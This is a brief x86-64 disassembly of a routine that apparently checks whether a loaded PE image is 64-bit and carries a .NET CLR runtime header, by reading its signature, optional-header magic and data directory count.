mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001f11d
xor al, al
jmp 0x14001f161
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001f131
xor al, al
jmp 0x14001f161
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001f143
xor al, al
jmp 0x14001f161
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001f15f
xor al, al
jmp 0x14001f161
mov al, 1
add rsp, 0x38
ret